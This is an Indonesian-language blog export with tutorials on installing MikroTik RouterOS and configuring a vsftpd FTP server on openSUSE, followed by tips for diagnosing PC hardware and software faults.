<br />Perintah diatas mendefinisikan bahwa besar bandwidth dari gateway 192.168.2.1 lebih besar 2 kali dari bandwidth yang didapat dari gateway 192.168.1.1 , jadi bisa diartikan untuk routing lebih dari 1 isp ini harus diketahui besar bandwith mana yang lebih besar yang diberikan setelah itu kita bisa memasukan konfigurasi seperti diatas.</p> <p style="margin-bottom: 0cm;">| <a href="http://ardian-anr.blogspot.com/2009/01/setting-mikrotik-router-bagian-kedua.html#comments">comments (1)</a> </p> <p style="margin-bottom: 0cm;"><a href="http://ardian-anr.blogspot.com/2009/01/setting-mikrotik-router-bagian-kedua.html#links">Links to this post</a> </p> <p style="margin-bottom: 0cm;"><a name="4909997913704658851"></a><a href="http://ardian-anr.blogspot.com/2009/01/setting-mikrotik-router-bagianpertama.html">Setting Mikrotik Router BagianPertama</a> </p> <p style="margin-bottom: 0cm;">3:27 PM | Author: Ardian </p> <p style="margin-bottom: 0.5cm;"><a name="BLOGGER_PHOTO_ID_5291064605673885234"></a><a name="BLOGGER_PHOTO_ID_5291065356605849842"></a><a name="BLOGGER_PHOTO_ID_5291066717303249714"></a><a name="BLOGGER_PHOTO_ID_5291067114870507874"></a><a name="BLOGGER_PHOTO_ID_5291067490663876738"></a><a name="BLOGGER_PHOTO_ID_5291067811568907698"></a><a name="BLOGGER_PHOTO_ID_5291068196281486562"></a><a name="BLOGGER_PHOTO_ID_5291068670571602930"></a><a name="BLOGGER_PHOTO_ID_5291069216691613314"></a><a name="BLOGGER_PHOTO_ID_5291069796923913170"></a>
<br /><b>Instalasi Mikrotik Router</b>
<br />1. Masukan cd mikrotik untuk booting dari cdroom
<br />maka akan tampil seperti dibawah ini :
<br />
<br /><a href="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2jOcDVjjI/AAAAAAAAABw/ChxfBY4H2jI/s1600-h/mikrotik.jpg"><img src="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2jOcDVjjI/AAAAAAAAABw/ChxfBY4H2jI/s320/mikrotik.jpg" name="graphics10" vspace="5" width="320" align="bottom" border="0" height="60" /></a>
<br />
<br />2. Setelah proses booting akan muncul menu pilihan software yang
<br />mau di install, pilih sesuai kebutuhan yang akan direncanakan.
<br />
<br /><a href="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2j6JfeAPI/AAAAAAAAAB4/oPfIi4CSID0/s1600-h/mikrotik1.jpg"><img src="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2j6JfeAPI/AAAAAAAAAB4/oPfIi4CSID0/s320/mikrotik1.jpg" name="graphics11" vspace="5" width="320" align="bottom" border="0" height="138" /></a>
<br />
<br />Ket :
<br />• System : Packet yang wajib diinstall karena merupakan inti dari system mikrotik.
<br />• PPP : Untuk membuat Point to Point Protocol Server
<br />• dhcp : Packet yang dibutuhkan apabila ingin membuat dhcp-server atau untuk mendapatkan dynamic ip address.
<br />• Advanced tool : Tools tambahan seperti ip-scan, bandwidth test dan lainnya.
<br />• arlan : Packet untuk konfigurasi chipset wireless aironet arlan
<br />• gps : Packet untuk support GPS Device
<br />• hotspot : Packet untuk membuat hotspot gateway, seperti authentication , traffic quota dan SSL
<br />• hotspot –fix : Tambahan packet hotspot
<br />• isdn : Packet untuk isdn server dan isdn client membutuhkan packet PPP
<br />• lcd : Packet untuk customize port lcd
<br />• ntp : Packet untuk ntp server dan ntp client
<br />• radiolan : Driver for legacy RadioLAN cards.
<br />• Routerboard : Routerboard spesifikasi BIOS
<br />• Routing : Packet untuk routing OSPF, BGP dan static
<br />• Routing-test : Packet tambahan ( optional )
<br />• security : Packet untuk mendukung ssh dan ip sec.
<br />• synchronous : Untuk synchronous dengan device lain
<br />• telephony : Packet for VOIP ( H.323 )
<br />• ups : packet for ups monitor seperti alarm
<br />• user-manager : Packet tool user manager untuk radius server
<br />• web-proxy : packet untuk setting proxy server
<br />• web-proxy test : optional
<br />• wireless : Packet untuk dukung cisco aironet cards
<br />
<br />3. Ketik “ i “ setelah selesai memilih software, lalu akan menu
<br />pilihan seperti ini :
<br />
<br />- Do you want to keep old configuration ? [ y/n] ketik Y
<br />- Continue ? [ y/n] ketik Y
<br />
<br />Setelah itu proses installasi system dimulai, disini kita tidak
<br />perlu membuat partisi hardisk karena secara otomatis dia akan
<br />membuat partisi sendiri.
<br />
<br /><a href="http://1.bp.blogspot.com/_VpmHHM8OhqI/SW2lJWfAmzI/AAAAAAAAACA/P5XJAcFRRsc/s1600-h/mikrotik2.jpg"><img src="http://1.bp.blogspot.com/_VpmHHM8OhqI/SW2lJWfAmzI/AAAAAAAAACA/P5XJAcFRRsc/s320/mikrotik2.jpg" name="graphics12" vspace="5" width="320" align="bottom" border="0" height="134" /></a>
<br />
<br />Proses Installasi
<br />
<br /><a href="http://4.bp.blogspot.com/_VpmHHM8OhqI/SW2lgfibiWI/AAAAAAAAACI/81vq5rwa5uE/s1600-h/mikrotik3.jpg"><img src="http://4.bp.blogspot.com/_VpmHHM8OhqI/SW2lgfibiWI/AAAAAAAAACI/81vq5rwa5uE/s320/mikrotik3.jpg" name="graphics13" vspace="5" width="320" align="bottom" border="0" height="188" /></a>
<br />
<br />4. Setelah proses installasi selesai maka kita akan di minta untuk merestart system, tekan enter untuk merestart system.
<br />
<br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm2m8ZF-T1bdol-rfXB1dpLqGEj5DCDAkbYdMq4rLXEa-0PFp3ySsoL2SF1gJaM_etaOP-s9tS_DzqHAzvwKn8c0VW1OAdEHjCB9NTS6yQmT7kEQsSz88_sMkbLC_VdOZINpNyhTA6noZL/s1600-h/mikrotik4.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm2m8ZF-T1bdol-rfXB1dpLqGEj5DCDAkbYdMq4rLXEa-0PFp3ySsoL2SF1gJaM_etaOP-s9tS_DzqHAzvwKn8c0VW1OAdEHjCB9NTS6yQmT7kEQsSz88_sMkbLC_VdOZINpNyhTA6noZL/s320/mikrotik4.jpg" name="graphics14" vspace="5" width="320" align="bottom" border="0" height="186" /></a>
<br />
<br />5. Setelah computer booting kembali ke system mikrotik, akan ada pilihan untuk melakukan check system disk, tekan “ y “ .
<br />
<br /><a href="http://1.bp.blogspot.com/_VpmHHM8OhqI/SW2mJC8RdbI/AAAAAAAAACY/6edcBv8ls-I/s1600-h/mikrotik5.jpg"><img src="http://1.bp.blogspot.com/_VpmHHM8OhqI/SW2mJC8RdbI/AAAAAAAAACY/6edcBv8ls-I/s320/mikrotik5.jpg" name="graphics15" vspace="5" width="320" align="bottom" border="0" height="114" /></a>
<br />
<br />6. Setelah itu akan muncul menu login
<br />Mikrotik login = admin
<br />Password = ( kosong , enter saja )
<br />
<br /><a href="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2mfcG5jOI/AAAAAAAAACg/ksPg2fFGHlE/s1600-h/mikrotik6.jpg"><img src="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2mfcG5jOI/AAAAAAAAACg/ksPg2fFGHlE/s320/mikrotik6.jpg" name="graphics16" vspace="5" width="320" align="bottom" border="0" height="107" /></a>
<br />
<br />7. Untuk software license tekan “ y “ . Lalu enter beberapa kali sampai muncul prompt untuk command line.
<br />
<br /><a href="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2m7C-eY_I/AAAAAAAAACo/OBTl2SMvubk/s1600-h/mikrotik7.jpg"><img src="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2m7C-eY_I/AAAAAAAAACo/OBTl2SMvubk/s320/mikrotik7.jpg" name="graphics17" vspace="5" width="320" align="bottom" border="0" height="84" /></a>
<br />
<br />Prompt command line :
<br />
<br /><a href="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2na1boboI/AAAAAAAAACw/dpQm8MyyLRE/s1600-h/mikrotik8.jpg"><img src="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2na1boboI/AAAAAAAAACw/dpQm8MyyLRE/s320/mikrotik8.jpg" name="graphics18" vspace="5" width="320" align="bottom" border="0" height="113" /></a>
<br />
<br /><b>Basic Command</b>
<br />
<br /><a href="http://4.bp.blogspot.com/_VpmHHM8OhqI/SW2n8m9ys9I/AAAAAAAAAC4/f_mETaXA5Nw/s1600-h/mikrotik9.jpg"><img src="http://4.bp.blogspot.com/_VpmHHM8OhqI/SW2n8m9ys9I/AAAAAAAAAC4/f_mETaXA5Nw/s320/mikrotik9.jpg" name="graphics19" vspace="5" width="320" align="bottom" border="0" height="275" /></a></p> <p style="margin-bottom: 0cm;">| <a href="http://ardian-anr.blogspot.com/2009/01/setting-mikrotik-router-bagianpertama.html#comments">comments (0)</a> </p> <p style="margin-bottom: 0cm;"><a href="http://ardian-anr.blogspot.com/2009/01/setting-mikrotik-router-bagianpertama.html#links">Links to this post</a> </p> <p style="margin-bottom: 0cm;"><a name="2508560341431860873"></a><a href="http://ardian-anr.blogspot.com/2009/01/konfigurasi-verysecureftpd.html">Konfigurasi VerySecureFTPD</a> </p> <p style="margin-bottom: 0cm;">2:01 PM | Author: Ardian </p> <p style="margin-bottom: 0.5cm;"><a name="BLOGGER_PHOTO_ID_5291044983973987346"></a><a name="BLOGGER_PHOTO_ID_5291048030669969970"></a>
<br />Disini saya akan mencoba menulisakan setting FTP dengan menggunakan VerySecureFTPD yang diinstal pada server linux openSUSE 10.3 dan koneksi internet menggunakan speedy
<br />
<br /><b>1 Installasi VerySecureFTPD</b>
<br />
<br />Pada topik ini diasumsikan bahwa komputer yang akan dijadikan FTP Server telah disetting Local Repository sehingga paket-paket tambahan dari openSUSE Linux dapat diinstall dengan menggunakan perintah zypper.
<br />
<br />Pada konsole terminal, login sebagai root dan kemudian install paket vsftpd dengan perintah berikut:
<br />zypper in vsftpd
<br />
<br />Proses installasi vsftpd akan selesai dalam waktu singkat dan akan terbentuk directory:
<br />
<br />/usr/share/doc/packages/vsftpd/
<br />
<br />yang berisikan file-file yang diperlukan untuk konfigurasi vsftpd. Selain itu, kita dapat melihat file-file contoh konfigurasi untuk vsftpd yang tersimpan di /usr/share/doc/packages/vsftpd/.
<br />
<br />Setelah paket vsftpd telah terinstall, buatlah directory /etc/vsftpd dengan menggunakan perintah berikut:
<br />
<br />mkdir /etc/vsftpd
<br />
<br />Secara default, file konfigurasi vsftpd akan berada di /etc/vsftpd.conf. Untuk memudahkan pengelompokan semua file-file yang berhubungan dengan vsftpd, maka dianjurkan untuk membuat directory /etc/vsftpd/ untuk menyimpan semua file-file vsftpd.
<br />
<br />Kemudian pindahkan file /etc/vsftpd.conf ke /etc/vsftpd/vsftpd.conf
<br />
<br />mv /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf
<br />
<br />Buat link ke file /etc/vsftpd/vsftpd.conf dan namain link tersebut /etc/vsftpd.conf.
<br />
<br />ln -s /etc/vsftpd/vsftpd.conf /etc/vsftpd.conf
<br />
<br />Buat file user authentication untuk vsftpd:
<br />vi /etc/pam.d/vsftpd
<br />
<br />Isi dari file tersebut adalah berikut:
<br />auth include common-auth
<br />account include common-account
<br />
<br />Authentication di file tersebut melakukan authentication terhadap user-user yang terdapat di local computer. Namun, apabila kita memasukkan komputer tersebut ke dalam domain, maka kita dapat juga melakukan authentication terhadapa user-user yang terdapat di dalam domain kita.
<br />
<br />Untuk join komputer ke dalam domain, kita dapat menggunakan fasilitas yang disediakan oleh YaST --> Network Services --> Windows Domain Membership.
<br />
<br />Setelah itu kita akan melakukan konfigurasi terhadap vsftpd dengan meng-edit file /etc/vsftpd/vsftpd.conf.
<br />Pertama-tama, ubah nama file asli vsftpd /etc/vsftpd/vsftpd.conf menjadi /etc/vsftpd/vsftpd.conf.original.
<br />mv /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.original
<br />
<br />Kemudian buat file baru /etc/vsftpd/vsftpd.conf:
<br />vi /etc/vsftpd/vsftpd.conf
<br />
<br />Isi dari file /etc/vsftpd/vsftpd.conf adalah sebagai berikut:
<br />#
<br /># 1. FTP Logon Configuration
<br />#
<br />## Modify the default FTP banner message
<br />ftpd_banner="Welcome to SERVER's FTP site!"
<br />
<br />
<br />#
<br /># 2. User Access Configuration
<br />#
<br />## Disable username ftp and anonymous logon capability
<br />anonymous_enable=NO
<br />
<br />## Enable local system user logon capability including Virtual Users
<br />local_enable=YES
<br />
<br />## Set file & directory creation permission to rw------- & rwx------
<br />## for both local and anonymous/virtual users
<br />local_umask=077
<br />anon_umask=077
<br />
<br />## Users cannot create, update, or modify files/directories
<br />write_enable=NO
<br />
<br />## Anonymous/Virtual users will only be allowed to only
<br />## download world readable files
<br />anon_world_readable_only=YES
<br />
<br />## Anonymous/Virtual users cannot upload files
<br />anon_upload_enable=NO
<br />
<br />## Anonymous/Virtual users cannot create directories and modify files
<br />anon_mkdir_write_enable=NO
<br />
<br />## Anonymous/Virtual users cannot delete or rename files or directories
<br />anon_other_write_enable=NO
<br />
<br />## Disable download capability
<br />download_enable=NO
<br />
<br />## Force users to be placed into their home directory
<br />chroot_local_user=YES
<br />
<br />## Classify all non-anonymous logins as "guest" logins and
<br />## map "guest" logins as the Virtual User specified in "guest_username" setting
<br />guest_enable=YES
<br />guest_username=virtual
<br />user_sub_token=$USER
<br />local_root=/home/ftpsite/$USER
<br />
<br />## Deny login access to users specified in the "userlist_file"
<br />userlist_enable=YES
<br />userlist_deny=YES
<br />
<br />## Enable active FTP connections
<br />port_enable=YES
<br />
<br />## Enable passive FTP connections and
<br />##determine the passive min and max port
<br />pasv_enable=YES
<br />pasv_min_port=30001
<br />pasv_max_port=30005
<br />
<br />## Set the display time to local time
<br />use_localtime=YES
<br />
<br />## Hide user and group information in directory listings
<br />## Display them as "ftp"
<br />hide_ids=YES
<br />
<br />## Enable parallel logging of xferlog and vsftpd.log
<br />dual_log_enable=YES
<br />
<br />## Enable secure FTP connection via SSL TLS v1 protocol
<br />ssl_enable=YES
<br />ssl_tlsv1=YES
<br />ssl_sslv2=NO
<br />ssl_sslv3=NO
<br />
<br />## Force local and anonymous/virtual users to use SSL
<br />## for login and data connections
<br />force_local_data_ssl=YES
<br />force_local_logins_ssl=YES
<br />force_anon_data_ssl=YES
<br />force_anon_logins_ssl=YES
<br />
<br />listen=YES
<br />
<br />## FTP Client Timeout Configuration
<br />accept_timeout=0
<br />connect_timeout=120
<br />idle_session_timeout=600
<br />
<br />#
<br /># 3. Configuration Files Setting
<br />#
<br />
<br />## Specify the PAM service name associated with vsftpd.
<br />## The location of the file is in /etc/pam.d/
<br />pam_service_name=vsftpd
<br />
<br />## Specify the location of the user configuration directory
<br />user_config_dir=/etc/vsftpd/vsftpd_user_conf
<br />
<br />## Specify the location of the userlist_file
<br />userlist_file=/etc/vsftpd/deniedUsers
<br />
<br />## Define the location of vsftpd.log file
<br />vsftpd_log_file=/var/log/vsftpd/vsftpd.log
<br />
<br />## Define the location of xferlog file
<br />xferlog_file=/var/log/vsftpd/xferlog
<br />
<br />## Define the location of RSA certificate to use for SSL connections
<br />rsa_cert_file=/etc/vsftpd/vsftpd.pem
<br />
<br />
<br />
<br />Supaya semua user yang terkoneksi ke FTP server kita dianggap seakan-akan sebagai Virtual Users, kita akan membuat home directory dimana semua users akan cuma bisa masuk ke home directory tersebut. Selain itu juga perlu dibuat user dan group untuk Virtual User tersebut.
<br />#### Membuat home directory untuk Virtual User
<br />mkdir /home/ftpsite
<br />
<br />#### Membuat group Virtual User
<br />groupadd virtual
<br />
<br />#### Membuat user Virtual User
<br />useradd -d /home/ftpsite -g virtual -c “Virtual FTP Users” virtual
<br />
<br />#### Merubah permission untuk /home/ftpsite
<br />chmod 700 /home/ftpsite
<br />#### Merubah owner & group untuk /home/ftpsite
<br />chown virtual:virtual /home/ftpsite
<br />
<br />Membuat daftar user-user yang tidak diperbolehkan untuk menggunakan FTP server:
<br />#### Memasukkan semua daftar user-user yang terdapat di Active
<br />#### Directory ke dalam file /etc/vsftpd/deniedUsers
<br />wbinfo -u > /etc/vsftpd/deniedUsers
<br />
<br />Dari daftar user-user yang ada di file /etc/vsftpd/deniedUsers, kita bisa memperbolehkan user-user tertentu untuk bisa mengakses FTP server dengan cara menambahkan tanda pagar (#) di depan nama user tersebut:
<br />SERVER\ardian
<br />SERVER\andi
<br />#SERVER\jaka
<br />SERVER\dewi
<br />#SERVER\lily
<br />
<br />Setelah itu kita perlu membuat permission configuration untuk tiap-tiap user apabila kita menghendaki setiap user itu mempunyai hak akses yang berbeda dari default akses permission yang terdapat di file /etc/vsftpd/vsftpd.conf:
<br />
<br />#### Membuat directory user permission configuration
<br />mkdir /etc/vsftpd/vsftpd_user_conf
<br />
<br />#### Membuat permission setting utk user SERVER\ardian
<br />vi vsftpd_user_conf/SERVER\\ardian
<br />anon_world_readable_only=NO
<br />write_enable=YES
<br />anon_upload_enable=YES
<br />download_enable=YES
<br />
<br />#### Membuat permission setting utk user SERVER\andi
<br />vi vsftpd_user_conf/SERVER\\andi
<br />anon_world_readable_only=NO
<br />write_enable=YES
<br />anon_upload_enable=YES
<br />
<br />
<br />Kita akan menggunakan SSL untuk koneksi ke vsftpd. Untuk itu kita perlu generate SSL key yang diperlukan dan SSL key tersebut akan diletakkan di /etc/vsftpd/vsftpd.pem:
<br />#### Membuat SSL key
<br />openssl req -newkey rsa:1024 -nodes -x509 -keyout /etc/vsftpd/vsftpd.pem
<br />-out /etc/vsftpd/vsftpd.pem
<br />
<br />Langkah terakhir adalah configuration pada SuSEFirewall dan ADSL Modem. Pertama kita akan membuka port-port yang diperlukan untuk menjalankan service vsftpd.
<br />Kita memulai dengan mengedit file /etc/sysconfig/SuSEfirewall2:
<br />#### Mengedit file /etc/sysconfig/SuSEfirewall2
<br />vi /etc/sysconfig/SuSEfirewall2
<br />
<br />#### Pada line FW_SERVICES_EXT_TCP tambahkan
<br />#### nilai 30001:30005.
<br />#### Ini menandakan bahwa kita membuka port TCP 30001 s/d 30005
<br />#### untuk koneksi passive ftp. Nilai ini harus sama dengan nilai
<br />#### yang terdapat di file /etc/vsftpd/vsftpd.conf
<br />FW_SERVICE_EXT_TCP=”30001:30005”
<br />
<br />#### Pada line FW_CONFIGURATIONS_EXT tambahkan
<br />#### nilai vsftpd.
<br />#### Nilai vsftpd pada line ini merupakan indikator buat SuSEfirewall2
<br />#### untuk membuka port TCP 20 dan 21 untuk koneksi active ftp.
<br />FW_CONFIGURATIONS_EXT=”vsftpd”
<br />
<br />
<br />Kemudian kita akan membuka port-port yang telah kita pergunakan di atas di Modem ADSL:
<br />
<br /><a href="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2RYThhxBI/AAAAAAAAABY/Pr6NvYiY5C4/s1600-h/adsl.jpg"><img src="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2RYThhxBI/AAAAAAAAABY/Pr6NvYiY5C4/s320/adsl.jpg" name="graphics20" vspace="5" width="320" align="bottom" border="0" height="225" /></a>
<br />
<br />Jalankan service vsftpd dengan menggunakan perintah berikut:
<br />#### Jalankan service vsftpd
<br />service vsftpd start
<br />
<br />#### Matikan service vsftpd
<br />service vsftpd stop
<br />
<br />#### Melihat status service vsftpd
<br />service vsftpd status
<br />
<br />
<br /><b>2 Installasi FileZilla FTP </b>
<br />
<br />Untuk FTP Client kita akan mempergunakan FileZilla karena bersifat Open Source dan mendukung enkripsi SSL.
<br />
<br /><a href="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2UJpWdGjI/AAAAAAAAABo/koqJzpscJog/s1600-h/adsl1.jpg"><img src="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2UJpWdGjI/AAAAAAAAABo/koqJzpscJog/s320/adsl1.jpg" name="graphics21" vspace="5" width="320" align="bottom" border="0" height="250" /></a>
<br />
<br />
<br />Buat Site Connection baru dengan profile seperti terlihat di gambar berikut:
<br />
<br />Setelah itu tekan tombol Connect untuk logon ke vsftp
<br />
<br />
<br /></p> <p style="margin-bottom: 0cm;">
<br /></p> blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-42396935827536545242010-04-22T18:56:00.001-07:002010-04-22T19:14:06.171-07:00MENDIAGNOSA PERMASALAHAN & KERUSAKAN PADA KOMPUTER ( TIPS & TRIK )<span style="font-weight: bold;">MENDIAGNOSA PERMASALAHAN & KERUSAKAN PADA KOMPUTER ( TIPS & TRIK ) </span><br /><span style="font-weight: bold;">Tips Mendeteksi Masalah Pada PC</span><br />Apakah anda pengguna komputer (PC) dan pernah mengalami kejadian berikut ini:<br />Ø suatu ketika PC anda susah dinyalakan.<br />Ø Perlu berulang kali menekan tombol power untuk menyalakan PC<br />Ø Proses boot perlu berulang kali untuk masuk ke Windows.<br />Ø Setelah standby, PC restart dengan sendirinya dan harus dimati-nyalakan lagi.<br />Berikut ini adalah tips yang mungkin sudah banyak diketahui oleh para pengguna PC untuk mendeteksi<br />apabila memiliki atau menemukan masalah seperti di atas.<br />1. Lakukan boot dengan live CD salah satu distro Linux, contohnya Knoppix, Small Damn Linux atau<br />sebangsanya. Bila load telah berhasil dan PC dapat bekerja dengan normal, ada kemungkinan<br />terjadi kelainan pada harddisk atau sistem operasi yang ada di dalam harddisk tersebut yang<br />menghalangi proses booting diselesaikan dengan sempurna.<br />2. Periksa power supply PC anda. Periksa dan ukur tegangan DC yang menyuplai ke motherboard<br />menggunakan alat ukur avometer. Misalnya tegangan +12 Vdan 5V hanya terukur (misal) 10,5V<br />dan 4,2V. Maka segera ganti power supply PC anda dengan yang baru untuk menghindari<br />kerusakan yang lebih parah pada keseluruhan sistem Komputer. Apabila anda memiliki PC lain (di<br />dekat anda), anda dapat menggunakannya untuk meyakinkan power supply anda masih bekerja<br />dengan normal atau tidak.<br />3. Periksa memory (RAM)nya. Bila anda menggunakan 2 atau lebih keping RAM yang berbeda jenis<br />baik merk maupun chipsetnya, terkandang akan mengalami masalah kompatibilitas seperti ini setelah<br />digunakan dalam jangka waktu tertentu. Apalagi bila power supply dan pasokan daya listrik yang<br />tidak stabil dikonsumsi oleh sistem. Untuk masalah ini coba bersihkan plat koneksi pada keping<br />RAM tersebut beserta slot yang ada pada motherboard.<br />4. Bila langkah di atas tetap memberikan hasil yang tidak memuaskan atau masalah tetap berulang,<br />maka kemungkinan besar motherboard PC anda sudah bermasalah.<br />Komputer (PC) yang sudah terkena vonis bermasalah pada motherboard memiliki kemungkinan sangat tipis<br />untuk diselamatkan, tentu saja jalan satu-satunya mengganti motherboard yang bermasalah tersebut. Atau<br />lebih jauh lagi anda mengganti PC anda dengan yang baru. Namun apakah anda mau mengalami hal yang<br />sama dengan motherboard atau PC baru anda? Tentu tidak. Sebuah langkah proteksi yang harus kita<br />lakukan selain mengoperasikan komputer sesuai dengan prosedur ON/OFF yang telah ditentukan adalah<br />proteksi terhadap tegangan supply. Langkahnya adalah:<br />1. Gunakan Power supply yang memiliki daya yang cukup terhadap konsumsi daya yang dibutuhkan<br />- 2 -<br />seluruh sistem.<br />2. Lindungi power supply dengan stavolt yang telah dilengkapi dengan AVR (Automatic Voltage<br />Regulator) yang baik, sehingga pasokan tegangan AC ke power supply tetap terjaga stabil.<br />3. UPS (Uninterruptible Power Supply) yang telah dilengkapi dengan AVR, merupakan langkah<br />proteksi tegangan yang paling maksimal yang bisa anda lakukan. Selain sebagai penstabil tegangan,<br />juga dapat berfungsi sebagai back up tegangan.<br />Menangani Program yang Hang.<br />Aplikasi anda berjalan tdk normal, tiba-tiba berhenti bekerja & tdk merespon. Sebelum me-resetsistem,<br />sebaiknya anda lakukan langkah berikut:<br />Ø Klik kanan pada area yang kosong di Taskbar, pilih Task Manager dari Menu yang muncul. Atau<br />jika anda tidak bisa mendapatkan menu Task Manager, cukup tekan saja Ctrl+Alt+Delete. Pilih<br />Bagian "Application" dalam Tab Task Manager.Pilihlah program dgn Status Not Responding.<br />Cobalah klik tombol (SwitchTo) untuk mengakses aplikasi. Jika masih belum bekerja, maka klik<br />tombol (End Task) untuk mengakhiri aplikasitsb. Jika hal ini tetap tdk bekerja, klik kanan pada<br />program yang tdk responding, pilih menu (GoTo Process)Klik kanan pada File exe dari aplikasi<br />hang tsb, pilih menu (End Process Tree)<br />Ketika muncul kotak dialog Task Manager Warning, tekan saja tombol Yes untuk mengakhiri<br />Program hang ini dan komputer anda kembali normal.<br />Ø Hapus Tombol [Turn Off Computer] di Welcome Screen<br />1. Klik [Start] > [Run...] kemudian ketik regedit32.exe<br />2. Masuklah ke Sub key<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system.<br />3. Carilah DWORD value yang bernama Shutdownwithoutlogon di bagian kanan Jendela kemudian<br />klik dua kali entry tersebut.<br />4. Ubahlah value datanya yang sebelumnya bernilai 1 menjadi 0.<br />5. Tutup Registry Editor, kemudian Restart Windows Anda.<br />- 3 -<br />Cegah Uninstal Program Via Add/Remove Program<br />Add/Remove Programs berfungsi untuk menginstal, uninstall, dan memperbaiki program. Untuk memproteksi<br />agar orang lain tidak bisa mengotak-atik Uninstall maka anda dapat melakukanlangkahberikut:<br />1. Klik [Start] > [Run], ketik regedit.exe<br />2. Masuk ke<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstal<br />3. Temukan key dimana terdapat nama program yang ingin anda atur pilihannya ini. Key-key tsb dapat<br />berupa CLSID ataupun namanya langsung. Nama program ini dpt anda lihat pada data Display<br />Name yang ada pada masing-masing key.<br />4. Setelah anda temukan key yang anda cari, buatlah data DWORD bernama NoRemove.<br />5. Klik ganda data tsb kemudian isikan nilainya dengan angka 1.<br />Coba jalankan Add/Remove program, sorot program yang anda set tadi, pilihan Remove sdh hilang.<br />anda juga dapat menyembunyikan pilihan [Repair] dan [Change]. Langkahnya sama, hanya nama<br />datanya yang berbeda. Untuk Repair, gunakan nama NoRepair, sedangkan untuk Change gunakan<br />nama NoModify. Untuk mengembalikan ke semula, anda cukup mengganti nilainya menjadi 0 atau<br />menghapus data tsb.<br />Sering Terjadi Hang<br />Penyebab :<br />1. Memori tdk cocok<br />2. Ada virus di Harddisk<br />3. Over Clock<br />4. Ada Bad Sector di Harddisk<br />Solusi :<br />Ø Ganti memori<br />- 4 -<br />Ø Scan Harddisk/jika ada virus segera dikarangtina/di delete file yang terkena virusnya, jika<br />masih Hang segera Format Ulang(back up dulu data-nya)<br />Ø Setting kembali clock prosesor<br />Ø Partisi harddisk dgn benar.<br />CMOS Failure<br />Penyebab :<br />1.Baterai habis<br />2. Setting Bios berubah<br />Solusi :<br />Ø Ganti baterai CMOS<br />Ø Seting ulang Bios dgn benar<br />Pembacaan Data menjadi lambat<br />Penyebab :<br />1. Memori tdk cukup/Full<br />2. Harddisk penuh atau ada virus<br />Solusi :<br />Ø Tambah memori<br />Ø kurangi isi harddisk, scan virus, atau ganti hard disk dgn kapasitas yg lebih besar<br />Tidak Bisa Booting<br />- 5 -<br />Penyebab :<br />1. Cache memori rusak<br />2. Memori tdk cocok<br />3. Boot sector pada Harddisk rusak<br />4. Ada Bad Sector pada Trek awal Harddisk<br />Solusi :<br />Ø Disable eksternal cache memori di BIOS<br />Ø Ganti memori<br />Ø Masukkan operating system baru<br />Ø Partisi Harddisk.<br />Suara bip panjang & berkali-kali<br />Penyebab :<br />1.Memori rusak, Memori tdk cocok,<br />2. Memori tdk masuk slot dgn sempurna<br />Solusi :<br />Periksa kedudukan memori(pasang ulang kembali, bersihkan dulu jika banyak korotan yang<br />menempel)/Ganti memori jika tdk bisa diperbaiki lagi.<br />Suara Bip bagus tetapi tidak ada tampilan dilayar/Bip dua kali<br />Penyebab :<br />VGA Card rusak, Slot VGA tdk terpasang sempurna<br />- 6 -<br />Solusi :<br />Periksa dan betulkan kembali kedudukan VGA, Jika belum berhasil ganti<br />dengan VGA yang baru<br />I/O disk Error<br />Penyebab :<br />Sistem di hard disk rusak<br />Solusi :<br />Perbaiki Hard disk (Saran: jika biaya perbaikan adalah 50% dari harga baru, sebaiknya<br />anda mengganti saja dengan hard disk yang baru, karena kemungkinan rusak lagi lebih besar<br />dan biaya perbaikan kembali akan lebih mahal daripada membeli yang baru)<br />Floppy Disk Failure<br />Penyebab :<br />1. I/O rusak<br />2. Floppy rusak<br />3. kabel floppy terputus<br />4. Tegangan power supply tidak cukup<br />Solusi :<br />Ø Ganti I/O<br />Ø Periksa floppy<br />Ø periksa kabel Floppy<br />Ø Periksa tegangan power supply ke floppy<br />Motherboard me-reset sendiri atau tidak bisa Booting<br />- 7 -<br />Penyebab :<br />1. Power supply tidak normal<br />2. Motherboard kotor (berdebu)<br />Solusi :<br />Ø Ganti power suply (dgn daya yang lebih besar jika dicurigai dayanya kurang)<br />Ø Bersihkan Motherboard (hati-hati, sebaiknya anda mempelajari dahulu cara pembersihan<br />yang baik)<br />Kapasitas Harddisk tidak Normal<br />Penyebab :<br />Setting Jumper I/O tidak benar<br />Solusi :<br />Periksa & Perbaiki kembali setting jumper I/O Harddisk<br />On Board tidak Jalan<br />Penyebab :<br />1. On Board rusak<br />2. Setting On Board tidak benar<br />Solusi :<br />Ø Ganti dengan card<br />Ø Periksa setting On Board<br />- 8 -<br />Tampilan di Layar ada huruf yang berkedip-kedip atau muncul garis<br />Penyebab :<br />VGA Rusak/kedudukan tidak benar/terjadi konflik<br />Solusi :<br />periksa kedudukan VGA, jika belum benar segera ganti dengan yang baru<br />Mouse tidak Berfungsi<br />Penyebab :<br />1. Mouse kotor/rusak<br />2. On Board mouse rusak<br />3. Driver mouse tidak cocok<br />4. Mouse tidak terdeteksi<br />5. Kabel Mouse tidak sesuai<br />Solusi :<br />Ø Bersihkan mouse/ganti baru<br />Ø Ganti dengan card<br />Ø Periksa kembali driver mouse<br />Ø Setting ulang driver<br />Ø 